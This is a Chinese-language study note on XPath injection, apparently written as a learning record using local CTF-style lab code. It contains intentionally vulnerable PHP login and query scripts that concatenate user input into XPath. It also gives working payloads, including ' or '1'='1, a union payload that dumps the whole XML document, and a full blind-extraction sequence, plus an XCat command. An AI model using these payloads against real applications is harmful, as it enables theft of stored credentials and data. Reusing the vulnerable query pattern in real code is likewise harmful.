XPath注入学习
XPath注入学习
这篇记录是看完先知社区:XPATH注入学习写的,所以可能很多内容是重复的。写这篇记录仅仅为了让自己更好的掌握XPath注入。
0x01 XPath入门
在学习XPath注入之前,先了解一下什么是XPath
学习入口:W3school学习XPath
按照我个人的理解,XPath就是用于查询xml节点的查询语句,类似于T-SQL。
0x02 XPath注入原理
XPath注入原理类似于SQL注入,当程序没有对用户输入的数据进行过滤就拼接到XPath查询语句中时,就可能产生XPath注入。但是与SQL注入不同的时,XPath没有用户权限这一说法,所以XPath注入容易导致所有XML数据泄露。
0x03 实例
实例1
// 1.php
<?php
$xml = simplexml_load_file('test.xml');
$query = "user/username[@name='" . $_GET['name'] . "']";
$result = $xml->xpath($query);
foreach($result as $k => $v){
echo $k . ' => ' . $v . '<br />';
}
?>
<!--test.xml-->
<?xml version="1.0" encoding="utf-8"?>
<root>
<user>
<username name='user1'>user1_value</username>
<username name='user2'>user2_value</username>
<username name='user3'>user3_value</username>
<username name='user4'>user4_value</username>
<username name='user5'>user5_value</username>
<username name='user6'>user6_value</username>
<username name='user7'>user7_value</username>
</user>
<flag>
<value>flag{57e7f266bb0dc62f2cb0f25976c14e93}</value>
</flag>
</root>
正常XPath功能
当我们访问地址http://ctf.cn/1.php?name=user1时,查询语句是:user/username[@name='user1']
。所以会查询user下的username节点,且username节点name属性的值为user1的节点内容。返回结果如下:
判断注入点
当我们在参数值中输入单引号'时,页面出现XPath查询报错,说明可能存在XPath注入。
此时的XPath语句:user/username[@name='user1'']
进一步判断注入点(获取更多数据)
当我们输入' or '1'='1时,可以看到将user/username下的所有节点值都查询出来了。
此时的XPath语句:user/username[@name='user1' or '1'='1']
获取整个xml文件数据
但是我们显然是不满足于获取这点数据的,XPath中一个类似于SQL注入中' or '1'='1
的payload:']|//*|//*['
,我们尝试一下:
此时的XPath语句:user/username[@name='user1']|//*|//*['']
payload解析
payload:']|//*|//*['
- 这里首先通过
']
闭合前面的语句,然后使用|运算符(使用|拼接多个语句时会返回多个语句查询结果的节点并集)拼接多个语句。 - 拼接的
//*
查询文档中所有元素 - 最后的
//*['
是为了闭合后面的']
实例2
在一些情况下,虽然后台代码执行了我们注入的XPath语句,当时没有回显数据,这时候就需要一些手段来进行盲注了。
// login.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if (file_exists('account.xml')) {
$xml = simplexml_load_file('account.xml');
if ($_POST['submit']) {
$username = $_POST['username'];
$password = $_POST['password'];
$x_query = "/accounts/user[username='{$username}' and password='{$password}']";
print_r('XPath query:' . $x_query);
$result = $xml->xpath($x_query);
if (count($result) == 0) {
echo '
登录失败';
} else {
echo "
登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>
<!--account.xml-->
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>tw@xx.com</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>
下面的内容很多是照抄的,但是加了自己对payload细节的理解😅
XPath盲注步骤:
- 判断根节点下的节点数量
- 判断根节点下节点长度
- 判断根节点下节点名称
- ......
- 重复猜解完成所有
从根节点开始判断
count()函数返回节点数量
'or count(/)=1 and ''='
'or count(/*)=1 and ''='
这里的count(/)和count(/*)效果是一样的,都是获取根节点数量。而一个xml文件,仅允许有一个根节点,所以按照我个人的理解,这一步应该可以省略(非权威!!!)。然后还发现文章中的payload结尾用or ''='
的话表达式恒等于真,没法判断,所以我改用and ''='
了。
判断根节点长度为8
string-length()函数返回字符串长度
'or string-length(name(/*[1]))=8 and ''='
或者
'or string-length(name(/*))=8 and ''='
因为只有一个根节点,可以不使用[1]来指定第一个节点
猜解根节点名称
substring()函数类似于mysql的substring()
'or substring(name(/*[1]), 1, 1)='a' and ''='
或者
'or substring(name(/*), 1, 1)='a' and ''='
最终猜测得出根节点名称为:accounts
猜解根节点accounts下的子节点数量
' or count(/accounts/*)=2 and ''='
猜解根节点accounts下的第一个子节点名称长度
' or string-length(name(/accounts/*[1]))=4 and ''='
猜解根节点accounts下的第一个子节点名称
' or substring(name(/accounts/*[1]),1,1)='u' and ''='
最终猜测得出名称为:user
猜解/accounts/user下第一个子节点名称长度
' or string-length(name(/accounts/user/*[1]))=8 and ''='
猜解/accounts/user下第一个子节点名称
' or substring(name(/accounts/user/*[1]),1,1)='u' and ''='
最终猜测得出名称为:username
验证猜解结果
' or substring(name(/accounts/user[1]/*[1]),1)='username' and ''='
继续猜解/accounts/user[1]/username[1]/下是否有子节点
' or count(/accounts/user[1]/username/*)=0 and ''='
长度=0,无子节点
猜解/accounts/user[1]/username[1]的数据长度
' or string-length(/accounts/user[1]/username[1])=6 and ''='
数据长度为6
猜解/accounts/user[1]/username[1]的数据
' or substring((/accounts/user[1]/username[1]),1,1)='T' and ''='
最终数据为:Twe1ve
以此类推,最终获得所有的数据
0x04 自动化
手工盲注的时候你肯定很想念SQL注入中的sqlmap,XPath也有自动化的注入工具:XCat
官方和--help的使用说明着实让我难受,我这里就贴出我使用的命令行:
xcat run -e FORM -m POST --true-string Twe1ve http://ctf.cn/login.php password password=P@ssword123
// login.php
// account.xml是引用实例2中的
<?php
if (file_exists('account.xml')) {
$xml = simplexml_load_file('account.xml');
$username = 'Twe1ve';
$password = $_POST['password'];
$x_query = "/accounts/user[username='{$username}' and password='{$password}']";
//print_r('XPath query:' . $x_query);
$result = $xml->xpath($x_query);
if (count($result) == 0) {
echo '
登录失败';
} else {
echo "
登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
?>
命令解析:
run 注入数据-e 有两个值,URL或FORM,分别指定将payload放在URL上还是FORM上,就是get和post
--true-string 指定当页面出现某个字符串时查询条件为真,这里设置Twe1ve是因为登录成功时会提示登录成功you login as Twe1ve
http://ctf.cn/login.php 为请求的URL
password 请求参数
password=P@ssword123 请求参数的值,当值为P@ssword123时查询语句为真
在使用过程中,发现xcat无法指定多个参数。也就是说,xcat测试POST参数存在注入的时候只能发送username=admin,不能发送username=admin&password=pass。GET好像可以通过-b来指定一个文件,但是具体没有尝试过。通过多次测试没有找到可正常使用的办法,太菜了!
执行结果:
未解决的问题
看到先知社区:XPATH注入学习中一些payload使用position()=1来定位第1个节点,但是用[1]一样可以,为什么要写更复杂,这里我没有弄明白。希望各位师傅们能指点一下。
有不对的地方,还望各位师傅斧正!